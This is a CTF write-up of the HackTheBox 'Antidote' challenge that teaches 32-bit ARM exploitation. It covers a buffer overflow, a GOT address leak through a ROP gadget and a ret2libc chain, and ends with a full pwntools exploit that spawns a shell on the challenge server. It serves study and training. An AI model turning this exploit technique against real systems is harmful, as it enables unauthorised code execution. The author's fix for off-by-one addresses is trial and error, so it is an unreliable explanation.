# HackTheBox - Antidote
## Introduction
With this writeup I want to give a brief introduction into ARM exploitation and explain some of the differences compared to x86 aswell as common pitfalls or things to look out for. It was one of the first ARM challenges I've solved all by myself so I'll try to explain my thought process and approach. Let's get into it!
The challenge is a simple buffer overflow on a 32-bit ARM processor architecture. We are provided both the challenge exectuable and the libc shared library, which is a huge help in calculating offsets.
```
pi@raspberrypi:~/Antidote $ file antidote
antidote: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.3,
for GNU/Linux 2.6.16, not stripped
pi@raspberrypi:~/Antidote $ file libc.so.6
libc.so.6: ELF 32-bit LSB pie executable, ARM, EABI5 version 1 (GNU/Linux),
dynamically linked, interpreter /lib/ld-linux-armhf.so.3,
BuildID[sha1]=ae61d4346b11341d064cb6e5b14a636ffe9a7806,
for GNU/Linux 3.2.0, stripped
```
As you can see I have been using a raspberrypi, specifically raspberrypi 3b+, to work on this challenge, simply because it was a device I had laying around and didn't feel like playing around to much with setting up a vm.
Before you start and try to exploit this program, you should first familiarize yourself with ARM assembly and the way program flow works compared to x86.
They are different but both use the same exploitation techniques, such as overwriting a return pointer or chaining gadgets to a full ROPChain.
Here are some links to begin:
- [ARM Assembly](https://azeria-labs.com/writing-arm-assembly-part-1/)
- [ROP on ARM32](https://azeria-labs.com/return-oriented-programming-arm32/)
## Crashing the program & Flow Control
Crashing the program is usually the easiest part, as is in this case. The program simply prints some text and then waits for user input.

After some fiddling around, I figured the exact offset is 220 bytes. Let's confirm this in gdb!
`python -c 'print "A"*220+"BBBB"' > input.txt`

(I am using the peda-arm plugin for gdb which you can find [here](https://github.com/alset0326/peda-arm))
As seen in the screenshot above, I successfully overwrote the return pointer and obtained control of the Program Counter PC (equivalent to Instruction Pointer/EIP on x86).
Now that we can control the PC, we have to think of an exploit strategy.
## Exploit Strategy & Idea
First I checked what kind of protections the program uses, I used a tool called checksec.

Only NX enabled, that means we can't execute shellcode from the stack. Instead we have to rely on ROP.
Since the binary itself doesn't use a lot of functions and generally doesn't provide a lot of useful gadgets, we will perform a simple ret2libc attack. It means we will use functions and gadgets from the libc library.
The challenge files included the libc.so.6 file which is used by the actual challenge server, so we can easily locate gadget and function addresses. We don't know currently if ASLR is enabled or not and at which address libc will be loaded on the target.
To test if the target has ASLR enabled, we have to leak an address multiple times and see if it changes. Once we know a valid libc address on the target we can simply calculate the offsets we need and execute our ret2libc chain.
## The Leak
To leak an address we can reuse this part in the main function, which prints the message to stdout.

The only thing we have to do is change the argument to a location pointing to a libc address. [The Global Offset Table](https://en.wikipedia.org/wiki/Global_Offset_Table) (GOT) is the perfect target for this. Short version, it's a table that stores addresses of libc functions, which are used in the current program. The GOT is part of the ELF binary and always has the same address unless PIE is enabled, which it isn't.
So we can look up the GOT address for `setvbuf`, use it as the argument to the write call and leak the value stored in the entry, which is the actual libc address of `setvbuf`
Let's first observe how arguments are handled for a write call.

```
r0: 0x1 -> stdout
r1: 0x7eff4a8 -> pointer to string to print
r2: 0x98 -> probably amount of bytes to print
r3: 0x7eff4a8 -> same as r1
```
From this I assumed that we only need to change r1 to our GOT entry. An address on 32bit is 4 bytes so it doesn't matter if the length argument is bigger than that.
Now we need a gadget to move a value of choice into r1, I used the tool ropper to locate gadgets.

It's easiest to use the `pop {r3, pc};` gadget and then jump to `main<+76>`, r3 will be moved to r1 and the write call will be executed with our argument.
The code looks like this:
```python
from pwn import *
p = remote('206.189.121.131',30824)
elf = ELF('./antidote')
# Gadgets
pop_r3_pc = 0x83cc
write_main = 0x8530
buf = "A"*220
buf += p32(pop_r3_pc)
buf += p32(elf.got['setvbuf'])
buf += p32(write_main)
p.recv()
p.sendline(buf)
leak = p.recv(4)
setvbuf = u32(leak) - 1
p.close()
```

After a few runs we can tell that ASLR is off!
## Writing the exploit
To get a shell on the target system, we basically want to set up a call that performs `system("/bin/sh");`. Again we should find out how arguments are handled for the system function. I simply compiled a small c program and used gdb to debug it.
```c=
#include <stdio.h>
#include <string.h>
int main()
{
system("/bin/sh");
}
```

It expects a pointer to "/bin/sh" in the register r0.
so for our exploit we require the following 3 things:
1. address of system()
2. address of "/bin/sh"
3. address of pop r0 gadget
We can use gdb to obtain the first 2 and ropper to find a fitting gadget inside of libc.so.6. Remember that we leaked `setvbuf` and have to calculate the offsets for our addresses.
In gdb I used the command `set exec-wrapper env 'LD_PRELOAD=./libc.so.6'` to preload the target libc version. On my raspberry the program immediately segfaults when run but it doesn't really matter since we can still ask it for addresses.

For a better understanding I'll calculate the libc base address and calculate the other offsets accordingly, use `vmmap` to locate the libc base.

In this case the libc base address is: `0x76ed6000`
```
>>> hex(0x76f1e034 - 0x76ed6000)
'0x48034`
....
```
Calculate the rest of the offsets in relation to the libc base:
```
libc = setvbuf - 0x48034
system = libc + 0x2d4cc
bin_sh = libc + 0xd5f2c
pop_r0 = libc + 0x4c631
```
With all these offsets we are ready to complete our exploit and pop a shell.. or so I thought. At first I put my exploit together and was stomped why it wouldn't work, I calculated all the offsets correctly and verified it again.
Then I remembered that I noticed on ARM32, addresses sometimes get changed by a single byte. I am not exactly sure why that is, but there is probably a logical explanation for it.
For example when I put the `0xdeadbeef` in, it would end up as `0xdeadbeee`

So I randomly added and subtraced 1 from the calculated addresses until it worked!
¯\\_(ツ)_/¯

Find my full exploit below
## Full Exploit
```python
from pwn import *
p = remote('206.189.121.131',30824)
elf = ELF('./antidote')
# Gadgets
pop_r3_pc = 0x83cc
write_main = 0x8530
buf = "A"*220
buf += p32(pop_r3_pc)
buf += p32(elf.got['setvbuf'])
buf += p32(write_main)
p.recv()
p.sendline(buf)
leak = p.recv(4)
setvbuf = u32(leak) - 1
p.close()
log.info('setvbuf @0x%x' % setvbuf)
libc = setvbuf - 0x48034
system = libc + 0x2d4cc
bin_sh = libc + 0xd5f2c
pop_r0 = libc + 0x4c631
log.info('libc @0x%x' % libc)
log.info('system @0x%x' % system)
log.info('bin_sh @0x%x' % bin_sh)
log.info('pop_r0 @0x%x' % pop_r0)
p = remote('206.189.121.131',30824)
buf = "A"*220
buf += p32(pop_r0)
buf += p32(bin_sh)
buf += p32(system+1)
p.recv()
p.sendline(buf)
p.interactive()
```